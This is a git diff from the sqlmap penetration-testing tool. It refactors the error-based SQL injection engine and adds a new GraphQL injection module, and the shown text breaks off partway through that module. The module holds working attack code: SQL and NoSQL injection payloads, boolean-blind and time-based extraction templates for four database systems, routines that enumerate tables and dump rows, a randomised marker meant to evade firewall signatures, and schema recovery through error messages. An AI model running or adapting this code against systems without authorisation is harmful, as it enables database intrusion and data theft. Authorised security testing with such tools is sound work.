htmlunescape(retVal).replace("<br>", "\n") + if isinstance(retVal, six.string_types): + retVal = htmlUnescape(retVal).replace("<br>", "\n") retVal = _errorReplaceChars(retVal) @@ -190,8 +217,8 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): hashDBWrite(expression, retVal) else: - _ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) - retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal + _ = "(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) + retVal = extractRegexResult(_, retVal) or retVal return safecharencode(retVal) if kb.safeCharEncode else retVal @@ -199,6 +226,7 @@ def _errorFields(expression, expressionFields, expressionFieldsList, num=None, e values = [] origExpr = None + width = getConsoleWidth() threadData = getCurrentThreadData() for field in expressionFieldsList: @@ -221,11 +249,16 @@ def _errorFields(expression, expressionFields, expressionFieldsList, num=None, e if not kb.threadContinue: return None - if not suppressOutput: + if not any((suppressOutput, kb.bruteMode)): if kb.fileReadMode and output and output.strip(): - print + print() elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields): - dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(output))) + status = "[%s] [INFO] %s: '%s'" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", output if kb.safeCharEncode else safecharencode(output)) + + if len(status) > width and not conf.noTruncate: + status = "%s..." % status[:width - 3] + + dataToStdout("%s\n" % status) if isinstance(num, int): expression = origExpr @@ -251,9 +284,9 @@ def _formatPartialContent(value): Prepares (possibly hex-encoded) partial content for safe console output """ - if value and isinstance(value, basestring): + if value and isinstance(value, six.string_types): try: - value = hexdecode(value) + value = decodeHex(value, binary=False) except: pass finally: @@ -267,7 +300,7 @@ def errorUse(expression, dump=False): SQL injection vulnerability on the affected parameter. """ - initTechnique(kb.technique) + initTechnique(getTechnique()) abortedFlag = False count = None @@ -279,25 +312,22 @@ def errorUse(expression, dump=False): _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) - # Set kb.partRun in case the engine is called from the API - kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None + # Set kb.partRun in case the engine is called from the API or a JSON report is being collected + kb.partRun = getPartRun(alias=False) if (conf.api or conf.reportJson) else None # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one # entry at a time # NOTE: we assume that only queries that get data from a table can # return multiple entries - if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \ - expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \ - or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \ - expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ - and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \ - and not re.search(SQL_SCALAR_REGEX, expression, re.I): + if not re.search(SQL_SCALAR_REGEX, expression, re.I) and ((dump and (conf.limitStart or conf.limitStop)) or (" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression)))): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) if limitCond: - # Count the number of SQL query entries output - countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) + # Count the number of SQL query entries output. NOTE: always COUNT(*) (row count); a single + # field must NOT use COUNT(field) as that excludes NULLs and would drop NULL-valued rows from + # the dump (e.g. a column whose value is NULL on some rows). + countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") @@ -312,120 +342,126 @@ def errorUse(expression, dump=False): else: stopLimit = int(count) - infoMsg = "the SQL query used returns " - infoMsg += "%d entries" % stopLimit - logger.info(infoMsg) + debugMsg = "used SQL query returns " + debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") + logger.debug(debugMsg) elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" - logger.warn(warnMsg) + logger.warning(warnMsg) stopLimit = 1 - elif (not count or int(count) == 0): + elif not isNumPosStrValue(count): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" - logger.warn(warnMsg) + logger.warning(warnMsg) else: value = [] # for empty tables return value - if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD: - message = "due to huge table size do you want to remove " - message += "ORDER BY clause gaining speed over consistency? [y/N] " - _ = readInput(message, default="N") - - if _ and _[0] in ("y", "Y"): - expression = expression[:expression.index(" ORDER BY ")] - - numThreads = min(conf.threads, (stopLimit - startLimit)) - - threadData = getCurrentThreadData() - threadData.shared.limits = iter(xrange(startLimit, stopLimit)) - threadData.shared.value = BigArray() - threadData.shared.buffered = [] - threadData.shared.counter = 0 - threadData.shared.lastFlushed = startLimit - 1 - threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1 - - if threadData.shared.showEta: - threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit)) - - if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD): - for field in expressionFieldsList: - if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0': - emptyFields.append(field) - debugMsg = "column '%s' of table '%s' will not be " % (field, kb.dumpTable) - debugMsg += "dumped as it appears to be empty" - logger.debug(debugMsg) - - if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: - kb.suppressResumeInfo = True - debugMsg = "suppressing possible resume console info because of " - debugMsg += "large number of rows. It might take too long" - logger.debug(debugMsg) - - try: - def errorThread(): - threadData = getCurrentThreadData() - - while kb.threadContinue: - with kb.locks.limit: - try: - valueStart = time.time() - threadData.shared.counter += 1 - num = threadData.shared.limits.next() - except StopIteration: - break - - output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta) - - if not kb.threadContinue: - break - - if output and isListLike(output) and len(output) == 1: - output = output[0] - - with kb.locks.value: - index = None - if threadData.shared.showEta: - threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter) - for index in xrange(len(threadData.shared.buffered)): - if threadData.shared.buffered[index][0] >= num: + if isNumPosStrValue(count) and int(count) > 1: + # NOTE: the ORDER BY clause is deliberately NOT stripped here. This path fetches each column + # of a row in a separate LIMIT/OFFSET query, so dropping ORDER BY would let the per-column + # offsets resolve to different physical rows and silently misalign cells across the row. Huge + # tables are handled cheaply and safely by keyset (seek) pagination (see plugins/generic/entries.py). + numThreads = min(conf.threads, (stopLimit - startLimit)) + + threadData = getCurrentThreadData() + + try: + threadData.shared.limits = iter(xrange(startLimit, stopLimit)) + except OverflowError: + errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) + errMsg += "with switch '--fresh-queries'" + raise SqlmapDataException(errMsg) + + threadData.shared.value = BigArray() + threadData.shared.buffered = [] + threadData.shared.counter = 0 + threadData.shared.lastFlushed = startLimit - 1 + threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1 + + if threadData.shared.showEta: + threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit)) + + if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD): + for field in expressionFieldsList: + if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0': + emptyFields.append(field) + debugMsg = "column '%s' of table '%s' will not be " % (field, kb.dumpTable) + debugMsg += "dumped as it appears to be empty" + logger.debug(debugMsg) + + if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: + kb.suppressResumeInfo = True + debugMsg = "suppressing possible resume console info because of " + debugMsg += "large number of rows. It might take too long" + logger.debug(debugMsg) + + try: + def errorThread(): + threadData = getCurrentThreadData() + + while kb.threadContinue: + with kb.locks.limit: + try: + threadData.shared.counter += 1 + num = next(threadData.shared.limits) + except StopIteration: break - threadData.shared.buffered.insert(index or 0, (num, output)) - while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]: - threadData.shared.lastFlushed += 1 - threadData.shared.value.append(threadData.shared.buffered[0][1]) - del threadData.shared.buffered[0] - runThreads(numThreads, errorThread) + output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta) - except KeyboardInterrupt: - abortedFlag = True - warnMsg = "user aborted during enumeration. sqlmap " - warnMsg += "will display partial output" - logger.warn(warnMsg) + if not kb.threadContinue: + break - finally: - threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered)) - value = threadData.shared.value - kb.suppressResumeInfo = False + if output and isListLike(output) and len(output) == 1: + output = unArrayizeValue(output) + + with kb.locks.value: + index = None + if threadData.shared.showEta: + threadData.shared.progress.progress(threadData.shared.counter) + for index in xrange(1 + len(threadData.shared.buffered)): + if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num: + break + threadData.shared.buffered.insert(index or 0, (num, output)) + while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]: + threadData.shared.lastFlushed += 1 + threadData.shared.value.append(threadData.shared.buffered[0][1]) + del threadData.shared.buffered[0] + + runThreads(numThreads, errorThread) + + except KeyboardInterrupt: + abortedFlag = True + warnMsg = "user aborted during enumeration. sqlmap " + warnMsg += "will display partial output" + logger.warning(warnMsg) + + finally: + threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered)) + value = threadData.shared.value + kb.suppressResumeInfo = False if not value and not abortedFlag: value = _errorFields(expression, expressionFields, expressionFieldsList) - if value and isListLike(value) and len(value) == 1 and isinstance(value[0], basestring): - value = value[0] + if value and isListLike(value): + if len(value) == 1 and isinstance(value[0], (six.string_types, type(None))): + value = unArrayizeValue(value) + elif len(value) > 1 and stopLimit == 1: + value = [value] duration = calculateDeltaSeconds(start) if not kb.bruteMode: - debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[kb.technique], duration) + debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[getTechnique()], 'y' if kb.counters[getTechnique()] == 1 else "ies", duration) logger.debug(debugMsg) return value diff --git a/lib/techniques/graphql/__init__.py b/lib/techniques/graphql/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/lib/techniques/graphql/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/graphql/inject.py b/lib/techniques/graphql/inject.py new file mode 100644 index 00000000000..a4576f03cc3 --- /dev/null +++ b/lib/techniques/graphql/inject.py @@ -0,0 +1,1824 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import json +import re +import time + +from collections import namedtuple +from collections import OrderedDict + +from lib.core.common import beep +from lib.core.common import randomStr +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import POST_HINT +from lib.core.settings import ERROR_PARSING_REGEXES +from lib.core.settings import GRAPHQL_ARG_WORDLIST +from lib.core.settings import GRAPHQL_ENDPOINT_PATHS +from lib.core.settings import GRAPHQL_ERROR_REGEX +from lib.core.settings import GRAPHQL_FIELD_WORDLIST +from lib.core.settings import GRAPHQL_INTROSPECTION_QUERY +from lib.core.settings import NOSQL_ERROR_REGEX +from lib.core.settings import UPPER_RATIO_BOUND +from lib.request.connect import Connect as Request +from lib.utils.nonsql import blockedStatus +from lib.utils.nonsql import decide as _decide +from lib.utils.nonsql import Decision as _Decision +from lib.utils.nonsql import InconclusiveError +from lib.utils.nonsql import ratio as _ratio +from lib.utils.nonsql import resolveBit +from lib.utils.xrange import xrange +from thirdparty.six import unichr as _unichr + +# Improbable literal used to build always-true/never-match payloads. Randomized per run (like +# NOSQL_SENTINEL) so it never becomes a static signature a WAF can pin a blocking rule on. +SENTINEL = randomStr(length=10, lowercase=True) + +# Maximum characters recovered for a single blind-inferred scalar (banner, user, table list, ...) +MAX_LENGTH = 1024 + +# Ceiling for a single row's concatenated cells (one row is extracted per request, so +# this need not hold a whole table; a GROUP_CONCAT of the whole table would be silently +# capped by the back-end - notably MySQL's group_concat_max_len=1024 - hence per-row). +DUMP_MAX_LENGTH = 8192 + +# Maximum number of rows dumped per table (bounds a runaway blind dump) +DUMP_MAX_ROWS = 1000 + +# Printable-ASCII codepoint bounds for blind character inference (the fast common path); +# a codepoint proven above CHAR_MAX is recovered over the full Unicode range instead of +# being silently mangled into a wrong printable char. +CHAR_MIN = 0x20 +CHAR_MAX = 0x7e +UNICODE_MAX = 0x10FFFF + +# Number of independent predicates packed into a single aliased GraphQL document (batched inference) +BATCH_SIZE = 40 + +# Cell separator woven into a per-row dump scalar (printable, improbable in data) +COL_SEP = "~~~" + +# GraphQL scalar types mapped to injection strategy (None = skip) +SCALAR_STRATEGY = { + "String": "string", + "ID": "id_dual", + "Int": "numeric", + "Float": "numeric", +} + +# SQL error-inducing payloads (probe for backend DBMS leakage through the GraphQL errors envelope) +_SQL_ERROR_PAYLOADS = ("'", "''", "'\"", "')", "1') OR ('1'='1") + +# Preliminary SQL boolean-blind probes +_SQL_BOOLEAN_TRUE = "' OR '1'='1" +_SQL_BOOLEAN_FALSE = "' AND '1'='2" + +# NoSQL operator probes (for NoSQL-backed GraphQL resolvers) +_NOSQL_NE = '{"$ne": null}' +_NOSQL_IN = '{"$in": ["%s"]}' % SENTINEL + +# Minimum content difference for a boolean oracle to be considered reliable +_MIN_RATIO_DIFF = 0.15 + +# Cache for INPUT_OBJECT field definitions, populated during schema walks +_inputFields = {} + +# Cache for ENUM value names (first entry used when synthesizing a required enum argument), populated +# during schema walks - a required enum must be rendered as a bare enum identifier, never a quoted string +_enumValues = {} + + +# --- Backend SQL dialect table ---------------------------------------------- + +# Per-DBMS building blocks for blind inference and enumeration, driven by the boolean/time oracle +# established on a slot. `fingerprint` is a predicate true only on that back-end (it errors -> falsy +# elsewhere). `length`/`ordinal` render a scalar-extraction sub-expression. `delay` wraps a condition +# in an inline conditional sleep (None where the engine offers none, e.g. SQLite). `banner`/ +# `currentUser`/`currentDb` are generic enumeration scalars. Table and column NAMES are enumerated +# one at a time by ordinal position from a catalog source: `tableFrom`/`tableCol` and +# `columnFrom(table)`/`columnCol` give the FROM(+WHERE) and the name column, `paginate(col, offset)` +# adds the per-dialect single-row window. `row(columns, table, offset)` is one data row's cells +# joined by COL_SEP. Per-item enumeration avoids a GROUP_CONCAT/STRING_AGG scalar that the back-end +# would silently truncate (e.g. MySQL group_concat_max_len=1024). +Dialect = namedtuple("Dialect", ("fingerprint", "length", "ordinal", "delay", + "banner", "currentUser", "currentDb", + "tableFrom", "tableCol", "columnFrom", "columnCol", "paginate", "row", + "fromIdent")) + + +def _sqlLiteral(value): + # A value embedded as a SQL STRING LITERAL (catalog WHERE clauses, OBJECT_ID('..'), + # pragma_table_info('..')): standard single-quote doubling, safe on all four back-ends. Without it + # a table/column name containing a quote breaks the catalog query and the dump silently yields + # nothing. + return "'%s'" % getUnicode(value).replace("'", "''") + + +def _identDouble(name): # SQLite / PostgreSQL: double-quoted, preserves case, embedded '"' doubled + return '"%s"' % getUnicode(name).replace('"', '""') + + +def _identBracket(name): # Microsoft SQL Server: [bracketed], embedded ']' doubled + return "[%s]" % getUnicode(name).replace("]", "]]") + + +def _identBacktick(name): # MySQL: `backticked`, embedded '`' doubled + return "`%s`" % getUnicode(name).replace("`", "``") + + +def _qualifiedIdent(name, quoter): + # Quote a (possibly schema-qualified) catalog table name for a FROM clause: split a "schema.table" + # on the FIRST dot and quote each part with the dialect identifier syntax; quote an unqualified + # name whole. Schema-qualification lets PostgreSQL/MSSQL dump tables outside the default schema, + # which an unqualified name cannot reference. + if "." in name: + schema, _, table = name.partition(".") + return "%s.%s" % (quoter(schema), quoter(table)) + return quoter(name) + + +def _sqliteFrom(table): + return _qualifiedIdent(table, _identDouble) + + +def _mysqlFrom(table): + return _identBacktick(table) # MySQL enumerates the current database only (unqualified) + + +def _pgsqlFrom(table): + return _qualifiedIdent(table, _identDouble) + + +def _mssqlFrom(table): + return _qualifiedIdent(table, _identBracket) + + +def _limitOffset(col, offset): + return "ORDER BY %s LIMIT 1 OFFSET %d" % (col, offset) + + +def _offsetFetch(col, offset): + return "ORDER BY %s OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" % (col, offset) + + +# A row is extracted one at a time by ordinal position (LIMIT/OFFSET). Concatenating +# the whole table into a single GROUP_CONCAT/STRING_AGG scalar would be silently +# truncated by the back-end (MySQL caps group_concat_max_len at 1024 bytes), dropping +# rows without warning; per-row extraction is unbounded and dialect-uniform. +# Every row query orders by the (single, concatenated) output column - `ORDER BY 1` - so a given +# offset refers to the SAME physical row across the length probe AND every per-character probe. +# Without a stable ordering, offset N could bind to different records between requests and the +# recovered cell would be a fabricated composite of several rows (the concatenation is a total order; +# genuinely identical rows are indistinguishable anyway, so uniqueness is not required for stability). +# In a row query the table and every column are IDENTIFIERS, so they are quoted with the dialect's +# identifier syntax - otherwise a reserved word, a space, a mixed-case PostgreSQL name, or a name with +# a quote character produces a broken query and the dump silently drops that table/column. `table` may +# already be a schema-qualified, pre-quoted identifier from the catalog (PostgreSQL/MSSQL), in which +# case it is used verbatim. +def _sqliteRow(columns, table, offset): + body = ("||'%s'||" % COL_SEP).join("COALESCE(CAST(%s AS TEXT),'NULL')" % _identDouble(_) for _ in columns) + return "(SELECT %s FROM %s ORDER BY 1 LIMIT 1 OFFSET %d)" % (body, _sqliteFrom(table), offset) + + +def _mysqlRow(columns, table, offset): + body = "CONCAT_WS('%s',%s)" % (COL_SEP, ",".join("COALESCE(CAST(%s AS CHAR),'NULL')" % _identBacktick(_) for _ in columns)) + return "(SELECT %s FROM %s ORDER BY 1 LIMIT %d,1)" % (body, _mysqlFrom(table), offset) + + +def _pgsqlRow(columns, table, offset): + body = ("||'%s'||" % COL_SEP).join("COALESCE(CAST(%s AS TEXT),'NULL')" % _identDouble(_) for _ in columns) + return "(SELECT %s FROM %s ORDER BY 1 LIMIT 1 OFFSET %d)" % (body, _pgsqlFrom(table), offset) + + +def _mssqlRow(columns, table, offset): + body = ("+'%s'+" % COL_SEP).join("COALESCE(CAST(%s AS VARCHAR(MAX)),'NULL')" % _identBracket(_) for _ in columns) + return "(SELECT %s FROM %s ORDER BY 1 OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY)" % (body, _mssqlFrom(table), offset) + + +def _sqliteColumnFrom(table): + return "FROM pragma_table_info(%s)" % _sqlLiteral(table) + + +def _mysqlColumnFrom(table): + # scope to the active database: information_schema.columns holds the same table name across every + # schema, so an unscoped lookup would merge unrelated columns and then dump nonexistent fields + return "FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name=%s" % _sqlLiteral(table) + + +def _pgsqlColumnFrom(table): + # `table` is the catalog's "schema.table"; look columns up by the split schema + table literals + schema, _, tbl = table.partition(".") if "." in table else ("public", "", table) + return "FROM information_schema.columns WHERE table_schema=%s AND table_name=%s" % (_sqlLiteral(schema), _sqlLiteral(tbl)) + + +def _mssqlColumnFrom(table): + # OBJECT_ID() resolves a "schema.table" string directly, so the qualified name is passed as a literal + return "FROM sys.columns WHERE object_id=OBJECT_ID(%s)" % _sqlLiteral(table) + + +DIALECTS = OrderedDict(( + ("SQLite", Dialect( + fingerprint="SQLITE_VERSION() IS NOT NULL", + length=lambda expr: "LENGTH((%s))" % expr, + ordinal=lambda expr, pos: "UNICODE(SUBSTR((%s),%d,1))" % (expr, pos), + delay=None, + banner="SQLITE_VERSION()", + currentUser=None, + currentDb=None, + tableFrom="FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%'", + tableCol="name", + columnFrom=_sqliteColumnFrom, + columnCol="name", + paginate=_limitOffset, + row=_sqliteRow, + fromIdent=_sqliteFrom)), + ("Microsoft SQL Server", Dialect( + fingerprint="@@VERSION LIKE '%Microsoft%'", + length=lambda expr: "LEN((%s))" % expr, + ordinal=lambda expr, pos: "UNICODE(SUBSTRING((%s),%d,1))" % (expr, pos), # ASCII() truncates non-ASCII to a byte + delay=None, + banner="@@VERSION", + currentUser="SYSTEM_USER", + currentDb="DB_NAME()", + # schema-qualify so tables outside dbo are enumerable and dumpable (SCHEMA_NAME + name) + tableFrom="FROM sys.tables t", + tableCol="CONCAT(SCHEMA_NAME(t.schema_id),'.',t.name)", + columnFrom=_mssqlColumnFrom, + columnCol="name", + paginate=_offsetFetch, + row=_mssqlRow, + fromIdent=_mssqlFrom)), + ("PostgreSQL", Dialect( + fingerprint="(SELECT version()) LIKE 'PostgreSQL%'", + length=lambda expr: "LENGTH((%s))" % expr, + ordinal=lambda expr, pos: "ASCII(SUBSTRING((%s),%d,1))" % (expr, pos), + delay=lambda cond, secs: "(CASE WHEN (%s) THEN (SELECT 1 FROM pg_sleep(%d)) ELSE 0 END)" % (cond, secs), + banner="version()", + currentUser="CURRENT_USER", + currentDb="CURRENT_DATABASE()", + # enumerate every user schema (not just public) and carry schema+table so dumps qualify + tableFrom="FROM information_schema.tables WHERE table_schema NOT IN ('pg_catalog','information_schema')", + tableCol="table_schema||'.'||table_name", + columnFrom=_pgsqlColumnFrom, + columnCol="column_name", + paginate=_limitOffset, + row=_pgsqlRow, + fromIdent=_pgsqlFrom)), + ("MySQL", Dialect( + fingerprint="@@VERSION_COMMENT IS NOT NULL", + length=lambda expr: "CHAR_LENGTH((%s))" % expr, + ordinal=lambda expr, pos: "ASCII(SUBSTRING((%s),%d,1))" % (expr, pos), + delay=lambda cond, secs: "IF((%s),SLEEP(%d),0)" % (cond, secs), + banner="VERSION()", + currentUser="CURRENT_USER()", + currentDb="DATABASE()", + tableFrom="FROM information_schema.tables WHERE table_schema=DATABASE()", + tableCol="table_name", + columnFrom=_mysqlColumnFrom, + columnCol="column_name", + paginate=_limitOffset, + row=_mysqlRow, + fromIdent=_mysqlFrom)), +)) + + +# --- Slot model ------------------------------------------------------------- + +# Carries everything needed to build a valid GraphQL document for one argument +# injection point: the root operation (query/mutation), the full field argument +# list (so required siblings can be defaulted), the target argument name, the +# injection strategy, and return-type metadata for a correct selection set. +Slot = namedtuple("Slot", ("operation", "parentType", "fieldName", "allArgs", + "targetArg", "strategy", "returnKind", "returnType", + "returnSel")) + + +# --- Helpers ---------------------------------------------------------------- + + + +def _chunks(sequence, size): + # Yield successive `size`-length chunks of `sequence` + for index in xrange(0, len(sequence), size): + yield sequence[index:index + size] + + +def _unwrapType(typeObj, depth=0): + # Traverse a GraphQL type chain, returning [(kind, name), ...] from outermost + # to innermost. NON_NULL and LIST wrappers are unwrapped transparently; named + # types terminate the chain. + if depth > 8 or not isinstance(typeObj, dict): + return [] + kind = typeObj.get("kind", "") + name = typeObj.get("name") + ofType = typeObj.get("ofType") + if ofType and kind in ("NON_NULL", "LIST"): + return [(kind, name)] + _unwrapType(ofType, depth + 1) + return [(kind, name)] + + +def _leafName(chain): + # Last named type in the unwrapped chain (strips NON_NULL / LIST wrappers) + for kind, name in reversed(chain): + if name: + return name + return None + + +def _classifyArg(argType): + # Map a GraphQL argument type to a strategy key, or None for skipped types + chain = _unwrapType(argType) + named = next((name for kind, name in reversed(chain) if name), None) + return SCALAR_STRATEGY.get(named) + + +def _escapeGraphQLString(value): + # Escape a string for embedding inside a double-quoted GraphQL string literal + return getUnicode(value).replace("\\", "\\\\").replace('"', '\\"').replace("\n", "\\n") + + +def _cell(value): + # Render a parsed JSON value as a single dump cell: NULL for null, compact JSON + # for nested objects/arrays (never the Python repr), and the plain text otherwise + if value is None: + return "NULL" + if isinstance(value, (dict, list)): + return json.dumps(value, sort_keys=True) + return "%s" % (value,) + + +# --- HTTP transport --------------------------------------------------------- + +def _gqlSend(endpoint, query, variables=None): + # POST a JSON GraphQL request to `endpoint`, returning (body, http_code) + body = {"query": query} + if variables: + body["variables"] = variables + + if conf.delay: + time.sleep(conf.delay) + + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, query[:200]) + + oldPostHint = getattr(kb, "postHint", None) + try: + kb.postHint = POST_HINT.JSON + page, _, code = Request.getPage(url=endpoint, post=json.dumps(body), + raise404=False, silent=True) + except Exception as ex: + # a transport failure must NOT become an empty body: two failed "true" requests would be + # byte-identical (ratio 1.0) and "differ" from a succeeding false request -> a fabricated + # confirmation. Return None so the oracles (which reject None) can never decide on it. + logger.debug("GraphQL request failed: %s" % getUnicode(ex)) + return None, 0 + finally: + kb.postHint = oldPostHint + if blockedStatus(code): # WAF / rate-limit / 5xx is not a usable oracle sample + return None, code + return page or "", code + + +def _parseJSON(page): + if not page: + return None + try: + return json.loads(page) + except (ValueError, TypeError): + return None + + +def _isGraphQLResponse(page): + # Does `page` look like a GraphQL JSON response envelope? Requires either + # __typename data or GraphQL-specific error phrasing to avoid false positives + # on ordinary JSON APIs. + doc = _parseJSON(page) + if not isinstance(doc, dict): + return False + data = doc.get("data") + if isinstance(data, dict) and data.get("__typename"): + return True + errors = doc.get("errors") + if isinstance(errors, list) and errors: + return bool(re.search(GRAPHQL_ERROR_REGEX, json.dumps(errors))) + return False + + +def _errorText(page): + # Extract a concatenated error-message string from a GraphQL error envelope + doc = _parseJSON(page) + if not isinstance(doc, dict): + return "" + errors = doc.get("errors") or [] + parts = [] + for e in errors: + if isinstance(e, dict): + parts.append(getUnicode(e.get("message", ""))) + ext = e.get("extensions") + if isinstance(ext, dict): + parts.append(getUnicode(ext.get("code", ""))) + exception = ext.get("exception") + if isinstance(exception, (str, bytes)): + parts.append(getUnicode(exception)) + return "\n".join(p for p in parts if p) + + +def _slotValue(page): + # Extract the first `data` subtree for boolean comparison - we compare the + # resolved field content, not the whole GraphQL envelope. + doc = _parseJSON(page) + if not isinstance(doc, dict): + return page + data = doc.get("data") + if isinstance(data, dict): + for v in data.values(): + if v is not None: + return json.dumps(v, sort_keys=True) + return json.dumps(data, sort_keys=True) + + +def _hasErrors(page): + # True when the GraphQL envelope carries a non-empty `errors` array. A resolver error yields the + # SAME `data:null` as a genuine false predicate, so an error-bearing response is UNKNOWN for a + # boolean oracle - it must not be classified as a false bit (that would fabricate an oracle / + # corrupt extraction). HTTP status is 200 in this case, so only the envelope reveals it. + doc = _parseJSON(page) + return isinstance(doc, dict) and bool(doc.get("errors")) + + +def _aliasErrored(page, alias): + # True when a batched response reports a GraphQL error whose `path` starts at `alias` (that alias's + # value is unknown, not a clean false), or when the alias key is absent from `data`. + doc = _parseJSON(page) + if not isinstance(doc, dict): + return True + for e in (doc.get("errors") or []): + path = e.get("path") if isinstance(e, dict) else None + if isinstance(path, list) and path and path[0] == alias: + return True + data = doc.get("data") + return not (isinstance(data, dict) and alias in data) + + +# --- Endpoint detection ----------------------------------------------------- + +def _detectEndpoint(baseUrl, probePaths=True): + # Identify the GraphQL endpoint URL. If `baseUrl` already points at a path + # that responds as GraphQL, return it directly. Otherwise probe common paths. + + page, code = _gqlSend(baseUrl, "{__typename}") + if _isGraphQLResponse(page): + return baseUrl, page + + if not probePaths: + return None, None + + for path in GRAPHQL_ENDPOINT_PATHS: + candidate = baseUrl.rstrip("/") + path + page, code = _gqlSend(candidate, "{__typename}") + if _isGraphQLResponse(page): + return candidate, page + + return None, None + + +# --- Schema introspection --------------------------------------------------- + +def _introspect(endpoint): + # Send the standard introspection query and return the parsed __schema dict. + # Falls back to a query without `specifiedByURL` for older GraphQL servers + # that reject it. + + for query in (GRAPHQL_INTROSPECTION_QUERY, + GRAPHQL_INTROSPECTION_QUERY.replace('specifiedByURL\n', '')): + page, code = _gqlSend(endpoint, query) + doc = _parseJSON(page) + if not isinstance(doc, dict): + continue + data = doc.get("data") + if isinstance(data, dict) and "__schema" in data: + return data["__schema"] + return None + + +# --- Schema recovery via field suggestions (introspection disabled) --------- + +def _gqlErrors(page): + # GraphQL error-envelope messages as a list of strings + doc = _parseJSON(page) + if not isinstance(doc, dict): + return [] + return [getUnicode(e.get("message", "")) for e in (doc.get("errors") or []) if isinstance(e, dict)] + + +def _harvestSuggestions(message): + # Pull suggested identifiers out of a "Did you mean ..." GraphQL validation message, + # handling both single- and double-quoted phrasings ('a', 'b', or 'c' / "a" or "b") + idx = message.find("Did you mean") + if idx < 0: + return [] + return re.findall(r"""['"]([A-Za-z_][A-Za-z0-9_]*)['"]""", message[idx:]) + + +def _suggestFields(endpoint, op): + # Recover root field names for an operation via suggestion harvesting: probe a random + # (guaranteed-unknown) field to collect the closest matches, then confirm/expand using a + # seed wordlist. A seed that does NOT come back as "Cannot query field" is itself a real field. + prefix = "" if op == "query" else "mutation " + found = set() + probes = [randomStr(length=10, lowercase=True)] + list(GRAPHQL_FIELD_WORDLIST) + + for seed in probes: + page, _ = _gqlSend(endpoint, "%s{ %s }" % (prefix, seed)) + doc = _parseJSON(page) or {} + for entry in (doc.get("errors") or []): + message = getUnicode(entry.get("message", "")) if isinstance(entry, dict) else "" + if "Did you mean" in message and "on type" in message: + found.update(_harvestSuggestions(message)) + # a seeded name counts as a real field only if it actually resolved (appears in `data`); + # "no unknown-field error" alone is too weak (lenient servers 